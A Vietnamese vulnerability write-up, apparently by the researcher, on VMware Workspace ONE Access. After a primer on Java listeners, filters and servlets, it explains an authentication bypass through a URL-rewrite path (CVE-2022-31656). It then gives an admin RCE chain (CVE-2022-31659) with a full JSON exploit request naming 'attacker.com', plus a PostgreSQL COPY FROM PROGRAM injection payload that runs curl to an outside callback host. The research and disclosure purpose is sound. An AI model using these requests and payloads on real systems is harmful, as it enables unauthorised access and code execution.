Dancing on the architecture of VMware Workspace ONE Access (VI)

Petrus Viet
14 min readAug 9, 2022

I) Java web architecture ?

Khi một request gửi tới một java web container thì nó sẽ phải lần lượt trải qua: Listener → Filter → Servlet.

1. Listener

Listener là các thành phần có chức năng tự động thực thi code khi khởi tạo, destroy, thêm, sửa và xóa các thuộc tính thuộc các objects: Application, Session và Request:

ServletContextListener: Theo dõi các hành động khởi tạo và hủy bỏ các Servlet context.

ServletContextAttributeListener: Theo dõi các hành động thêm, xóa, thay thế các Servlet context attributes.

HttpSessionListener: Theo dõi việc khởi tạo và hủy bỏ một session. Khi hủy bỏ một session sẽ có 2 trường hợp xảy ra:

  • Session times out.
  • Session is invalidated by calling the invalidate() method of the session object.

HttpSessionAttributeListener: Theo dõi việc thêm, xóa, thay đổi các attributes trong Session object.

ServletRequestListener: Lắng nghe để khởi tạo hoặc phá hủy các request objects.

ServletRequestAttributeListener: Lắng nghe để thêm, xóa, thay đổi các attributes của request object

Mục đích của listener:

  • Listener được dùng để lắng nghe các hoạt động của client và server
  • Một số hành động có thể được thực hiện tự động như: Theo dõi số lượng user trực tuyến, thống kê lượt truy cập trang web, giám sát truy cập,…

Vòng đời: Listener được khởi tạo khi web container khởi chạy và bị hủy bỏ khi web container bị hủy bỏ. Nói cách khác thì vòng đời của Listener gắn liền với web container.

2. Filter

Filter là một bổ sung mạnh mẽ cho Servlet Technology, nó có các tính năng chính sau:

  • Trước khi HttpServletRequest tới Servlet, kiểm tra và sửa đổi HttpServletRequest nếu cần thiết.
  • Trước khi HttpServletResponse tới client, kiểm tra và sửa đổi HttpServletResponse nếu cần.

Filter cũng có những nguyên tắc làm việc cơ bản như:

  • Filter là những java class được implements một special interface. Tương tự như Servlet, nó cũng được gọi và thực thi bởi Servlet container.
  • Khi một filter được đăng ký trong web.xml, nó có quyền cho request đi qua hoặc chặn và sửa đổi request/response nếu cần.
  • Khi Servlet container gọi một Servlet program, nếu như filter đã được khởi tạo container sẽ không trực tiếp gọi service method của Servlet và nó phải gọi thông qua method doFilter của filter. Tiếp theo method doFilter sẽ thực hiện các chức năng của filter rồi mới chuyển nó cho Servlet (hoặc không).

Filter chain:

  • Service method của Servlet không thể gọi trực tiếp trong Filter.doFilter .
  • Các filter được sắp xếp thành một filter chain. FilterChain.doFilter được gọi để thực thi các filter theo chain và gọi service method của target Servlet.
  • Khi có nhiều filter được đăng ký, chúng sẽ tạo thành filter chain. Web server sẽ khởi tạo FilterChain theo thứ tự các filter được đăng ký trong web.xml.

Vòng đời:

  • Khi khởi động web application, web container khởi tạo Filter theo đăng ký ở web.xml. (Filter object chỉ được khởi tạo một lần)
  • Chúng ta có thể lấy FilterConfig object đại diện cho filter configuration hiện tại đang được sử dụng thông qua các filter configuration của method init 😃
  • Khi Filter object được khởi tạo, nó sẽ nằm trong memory và không bị hủy cho tới khi web application còn sống 😂

2. Servlet

Servlet là chương trình chạy trên Web server (apache,..) hoặc application server. Servlet chịu trách nhiệm xử lý request của client. Nó đứng trung gian giữa HTTP Client và database hoặc application trên http server.

Vòng đời:

  • Khi server khởi động hoặc khi có request đầu tiên tới servlet, một servlet object sẽ được khởi tạo.
  • Servlet object handles tất cả các client requests tới nó.
  • Khi web container tắt, servlet object sẽ bị phá hủy.

Ref: java web请求三大器 — — listener、filter、servlet_西木风落的博客-CSDN博客

II) [CVE-2022–31656] Bypass Authentication

Lang thang debug trong các lớp filter, mình vô tình phát hiện ra điều đặc biệt ở org.tuckey.web.filters.urlrewrite.RuleChain.doRules. Như đã giới thiệu ở trên, java web có nhiều tầng filter và chúng ta đang ở tầng UrlRewriteFilter, ở đây có nhiệm vụ mapping các request vào một số internal servlet dựa theo các rules đã định nghĩa trước (trong file WEB-INF/urlrewrite.xml)

Điều khiến mình chú ý tới nó là vì nó có một rule được định nghĩa: Nếu request có path math với regex “^/t/([^/]*)($|/)(((?!META-INF|WEB-INF).*))$" thì nó sẽ mapping vào servlet “/$3”, nó khá giống với 2 lỗ hổng CVE-2021-26085 + CVE-2021-26086 trên Jira và Confluence cho phép attacker đọc file tùy ý ở 2 thư mục WEB-INF và META-INF.

Một ý tưởng ngay lập tức xuất hiện là sử dụng request math với rule ở trên để truy cập các file trong thư mục WEB-INF. Dựa vào regex ta có thể dễ dàng thấy được request cần bắt đầu bằng “/SAAS/t/_/;/”, vậy với request có path “/SAAS/t/_/;/WEB-INF/web.xml” dựa vào rule thì request này sẽ được map vào “/WEB-INF/web.xml”.

Chương trình đi vào org.tuckey.web.filters.urlrewrite.NormalRewrittenUrl.doRewrite(), tại đây chương trình tiếp tục gọi this.getRequestDispatcher()

Tại đây chương trình lấy RequestDispatcher có servletPath là “/;/WEB-INF/web.xml” tương đương với “/WEB-INF/web.xml”.

Sau khi có RequestDispatcher (biến rq), chương trình gọi rq.forward hàm này sẽ chuyển (forward) request từ servlet này qua servlet khác vì thế nó cũng có thể chuyển request tới “ResourceServlet” để lấy các resource 😃. Như thế có nghĩa là với servletPath = “/WEB-INF/web.xml” nó tương ứng với một resource ⇒ Có thể truy cập.

Không chỉ có thể truy cập các file ở thư mục WEB-INF/ nó còn có thể đọc tất cả các file nằm trong thư mục webapps (/opt/vmware/horizon/workspace/webapps/SAAS).

Như thế mình đã tìm được lỗi đọc file tùy ý, nhưng liệu mình có thể làm gì đó hơn với lỗ hổng này không???

Như đã nói ở trên, RequestDispatcher.forward có thể chuyển request từ servlet này qua servlet khác vậy ta có thể lợi dụng điều này để truy cập một endpoint đã bị chặn không? Mình liền nghĩ tới CVE-2022-22972 (nếu chưa biết về lỗ hổng này, các bạn nên dừng lại và đọc blog được mình ref trước nhé).

Để vá lỗ hổng CVE-2022–22972, các nhà phát triển đã thêm một lớp HostHeaderFilter vào filter chain để chặn tất cả các request có host header không trỏ tới server.

private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) ||
serverName.equalsIgnoreCase("localhost")
|| serverName.equalsIgnoreCase("127.0.0.1");
}

Như vậy để đi tới hàm lỗi (LocalPasswordAuthAdapter.login) request của chúng ta cần trải qua:

Request khai thác CVE-2022–22972 sẽ bị chặn ở HostHeaderFilter, vậy ta có thể bỏ qua HostHeaderFilter để đi tới LoginController.doLoginEmbeddedAuthBrokerCallback không nhỉ?

Để chương trình đi vào LoginController.doLoginEmbeddedAuthBrokerCallback, ta cần mapping request của mình vào “/auth/login/embeddedauthbroker/callback

Tức là chúng ta cần gửi request với path “/SAAS/t/_/;/auth/login/embeddedauthbroker/callback

Và … ta đã bypass authen thành công 😂

note: có thể sử dụng path: /SAAS/t/foo/auth/login/embeddedauthbroker/callback

III) [CVE-2022–31659] Admin RCE

Lang thang audit code của VMware ONE Access, mình phát hiện thường thì dev sẽ sử dụng hàm CommandUtils.executeCommand để thực thi các OS command, vì thế mình tìm kiếm những nơi sử dụng hàm này với hy vọng có thể tìm được một bug OS Command injection 😄

Mình tìm thấy hàm này được sử dụng 2 lần ở com.vmware.horizon.migration.customgroups.ExportCustomGroup.getVidmUserIds()

May mắn là input của hàm có liên quan tới dữ liệu nạp vào CommandUtils.executeCommand. Mình sử dụng Ctrl+Alt+F7 để tìm xem những hàm nào gọi tới getVidmUserIds.

IDE đưa ta tới com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup(), tương tự như thế ta tìm thấy hàm controller com.vmware.horizon.migration.rest.resource.util.TenantMigrationResource.migrateTenant và may mắn thay user input từ hàm controller vẫn có thể tác động tới input của CommandUtils.executeCommand nguy cơ cao lỗi os command injection nằm ở đây.

TenantMigrationResource.migrateTenant()
-> TenantMigrationServiceImpl.migrateTenant()
-> CustomGroupMigrationServiceImpl.migrateCustomGroup()
-> ExportCustomGroup.getVidmUserIds()

Vấn đề tiếp theo là cần tìm được path dẫn mình tới hàm TenantMigrationResource.migrateTenant, như ta thấy @Path có giá trị là “/migrate/tenant” nghĩa là path chúng ta cần tìm sẽ có dạng “/**/migrate/tenant”. Mình đã mất rất nhiều thời gian cho việc này 😢

Vì đây là một product lớn nên việc đọc hết code quả là một công việc gian nan, thử đọc các file config (như web.xml) vẫn không có manh mối gì nên mình chuyển qua suy đoán bằng blackbox. Mình đã thử nhiều root path hoặc các loại API khác nhau nhưng vẫn không đúng, may mắn là mình để ý thấy có một loại API có dạng “/SAAS/jersey/manager/api/**” mình thử gửi request tới “/SAAS/jersey/manager/api/migrate/tenant” và thành công vào được TenantMigrationResource.migrateTenant 😂 😂 😂

User Input sẽ là một object com.vmware.horizon.migration.rest.media.MigrationInfo ở dạng json. Ban đầu mình cố gắng gửi một object với đầy đủ các Fields trong đó nhưng luôn gặp lỗi syntax nên mình quyết định gửi một object rỗng lên trước rồi debug, cần cái gì thì thêm vào sau 😄

Chương trình gọi TenantMigrationServiceImpl.migrateTenant()

Fields đầu tiên mà user cần input vào là một object dạng List<com.vmware.horizon.migration.exception.ErrorInput>

Ta có thể dễ dàng thấy được field name của object này là “errorInputList

Với mỗi ErrorInput sẽ gồm có 2 string là errorTypeerrorObjectIdentifier

Như thế input của mình sẽ có dạng

{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}]
}

Tiếp theo chương trình gọi tiếp migrationInfo.getSourceDestinationInfo() tương tự như trên, ta cũng có thể input như sau:

{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
}
}

Ở câu if đầu tiên chương trình gọi validateIfMigrationRequired(previousError, "Tenant")

Tại đây chương trình kiểm tra trong list previousError có chứa một ErrorInput mà có ErrorType là bằng với biến type được truyền vào hay không?. Vì errorType của mình đang input là foo (khác Tenant) nên chương trình không đi vào câu if này.

Tiếp theo chương trình gọi this.migrateAllDirectories

Tại đây chương trình lấy DirectoryMap từ user input.

Mình có thể tiếp tục làm như trên để biết input như thế nào. Hoặc cũng có thể tạo một object migrationInfo rồi sử dụng ObjectMapper để chuyển nó về dạng json.

List<Directory> list=new ArrayList<Directory>();
Map<String, List<Directory>> dir = new HashMap<>();
Directory d = new Directory("cc");
list.add(d);dir.put("LOCAL", list);
migrationInfo.setDirectoryMap(dir);
ObjectMapper mapper = new ObjectMapper();
mapper.writerWithDefaultPrettyPrinter().writeValueAsString(migrationInfo);
## Output{
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
},
"sourceDestinationInfo" : {
"sourceHostname" : "attacker.com",
"sourceAdministrator" : "admin",
"sourcePassword" : "cc",
"sourceTenant" : "ONE",
"sourceMasterTenant" : "ONE",
"destinationHostname" : "attacker.com",
"destinationAdministrator" : "admin",
"destinationPassword" : "cc",
"destinationTenant" : "attacker",
"destinationMasterTenantHostname" : "attacker.com",
"_links" : { }
},
"vidmOnboardTenantDefinitionDTO" : null,
"errorInputList" : [ {
"errorType" : "foo",
"errorObjectIdentifier" : "bar"
} ],
"_links" : { }
}

Khi chương trình dừng lại ở chế độ debug, các bạn cũng có thể chạy luôn đoạn code trên với tính năng “Evaluate expression” mà khỏi cần viết một chương trình mới + add lib vào.

Đã input đầy đủ nên mình tiếp tục quay lại debug nhé 😃 Quay lại hàm migrateAllDirectories, chương trình check nếu directoryMap có key là “LOCAL” thì bỏ qua:

Sau khi thoát khỏi hàm migrateAllDirectories chương trình đi vào nhánh else của câu if tiếp theo. Vì mình đang cần chương trình gọi tới this.customGroupMigrationService.migrateCustomGroup(customGroupInfo, migrationResponseTO); nên chúng ta cần input errorType của ErrorInput object là “CustomGroup” để chương trình đi vào nhánh if như hình:

# User input lúc này
{
"errorInputList":[
{
"errorType":"CustomGroup",
"errorObjectIdentifier":"LocalDirectory"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
},
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
}
}

Như thế chúng ta đã khiến chương trình đi tới được com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup(), ở đây chương trình gọi tới this.getVraAuthenticationServerUtilsthis.getVidmAuthenticationServerUtils

Mục đích của chương trình từ khúc này trở đi nói nôm na là sẽ lấy user group từ server source và import vào server đích. Có 3 giai đoạn mà chúng ta cần quan tâm như sau:

Ở giai đoạn 1 và 2, chương trình gọi this.getVraAuthenticationServerUtilsthis.getVidmAuthenticationServerUtils để authen + author lần lượt source server và dest server bằng các data lấy từ user input.

Ở giai đoạn 3 — sau khi đã authen 2 server source và destination, chương trình sẽ ExportCustomGroup ở server sourceImportCustomGroup vào server dest.

Chương trình lấy thông tin các DYNAMIC group ở server source để chuẩn bị import vào server dest. Để biết chương trình request và nhận response từ server source như thế nào, ta input với sourceAdministrator, sourcePassword và sourceHostname và debug như trên.

⇒ Hiện tại source và dest server mình đang input là attacker.com, khi request từ current server gửi tới attacker.com các bạn sẽ không biết response như nào cho đúng 😉. Vậy nên khúc này các bạn cần để địa chỉ, username và password của source và dest server là chính current server luôn rồi debug xem cần response như nào cho hợp lý nhé. Mình sẽ không nói chi tiết ở đây để tránh rối bài 😄.

Sau khi authen + author các server source + dest chương trình export group từ server source và gọi hàm exportCustomGroup.getVidmUserIds

Tóm tắt lại thì hàm exportCustomGroup.getVidmUserIds thực hiện 2 hành động như sau:

# thực thi câu lệnh #1, trong đó attacker.com và UserID là user input
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h attacker.com -l UserID
# lấy output từ câu lệnh #1 để dùng làm input cho câu lệnh #2. (output của #1 có dạng string '$USERAME|$DOMAIN|$ORGANIZATION_ID')/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'

Thực hiện câu lệnh #1, chương trình gọi CommandUtils.executeCommand(sb.toString());

Tại CommandUtils.executeCommand(@Nonnull String command, long maxOutLength, long timeoutInMillis)command được đổi thành dạng array

TạiexecuteCommand(@Nonnull String[] command, @Nullable String[] env, @Nullable String commandInput, long maxOutLength, long timeoutInMillis, boolean combinedOutput) chương trình kiểm tra xem nếu trong command array có chứa ít nhất 1 string trong while list thì sẽ được coi là command hợp lệ. Sau đó chương trình thực thi command với Runtime.getRuntime().exec

Như ta thấy, command được truyền vào hàm execđang ở dạng một array ⇒ không thể OS command injection ngay vì tất cả những input của user chỉ được chương trình xem như 1 string input không break để thực thi một chương trình khác được (đại loại là nếu như input là [’*test*’, ‘*-a*’, ‘*1${IFS}||ls*’] thì chương trình sẽ thực thi lệnh test với các param truyền vào là -a và 1${IFS}||ls tức || chỉ là một string chứ không phải một toán tử).

Vì không thể thực hiện OS command injection chỗ này. Nên mình cứ xem kỹ 2 chương trình exportCustomGroupUsers.shextractUserIdFromDatabase.sh làm gì đã rồi tính tiếp:

  • (1) exportCustomGroupUsers.sh
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h [HOSTNAME] -l [UserID]

+ HOSTNAME: PostgreSQL server domains — đây là parameter lấy từ user input (‘attacker.com’ trong exploit request).

+ UserID: Đây là param được lấy trong quá trình export group ở source server. (API: “attacker.com/SAAS/t/ONE/jersey/manager/api/scim/Groups/.search”.)

Tại đây, chương trình gửi PostgreSQL query tới $HOSTNAME:

psql -U postgres -h $HOSTNAME  -d vcac -At -c "select \"saas\".\"Users\".\"strUsername\",\"saas\".\"Users\".\"domain\",\"saas\".\"Organizations\".\"strOrganization\" from \"saas\".\"Users\",\"saas\".\"Organizations\" where \"saas\".\"Users\".\"idUser\" IN($UserID ) AND \"saas\".\"Users\".\"idOrganization\"=\"saas\".\"Organizations\".\"id\";"

Output trả về có dạng ‘$USERAME|$DOMAIN|$ORGANIZATION_ID

  • (2) extractUserIdFromDatabase.sh
/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'

Ở đây, chương trình thực thi psql query sau:

psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='$USERNAME' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;"

Không thể OS Command injection để RCE, vậy có cách khác để RCE không? 😎 Không thể injection ở ngoài vậy mình có thể PSQL injection ở trong các script được gọi để RCE không nhỉ???

Ta thấy, vì $HOSTNAME lấy từ user input (attacker.com), nghĩa là mình có thể control output của câu lệnh (1) bằng cách cho $HOSTNAME trỏ về server của attacker. Từ đó có thể control được biến $USERNAME ở câu lệnh (2).

Mình tìm thấy CVE-2019–9193, ta có thể RCE với câu psql sau:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

Vì chương trình sẽ cắt command string ban đầu ở các ký tự space để tạo command array nên ta cần bypass spcae với ‘/**/’ ở psql query và ‘${IFS}’ ở OS Command (còn cần tránh ký tự ‘,’ và ‘|’ nữa nhưng vì sao thì đoạn này mình lười viết 😢)

Và $USERNAME sau khi inject sẽ trở thành như sau:

1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'

Tức là câu psql query ở extractUserIdFromDatabase.sh sẽ trở thành:

psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;"select "idUser" from "saas"."Users" where "strUsername"= '1';
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl Ahihi.oastify.com/rce';
SELECT * FROM cmd_exec;

⇒ Như vậy ta đã RCE thành công, dưới dây là sơ đồ tổng quát quá trình exploit:

--

--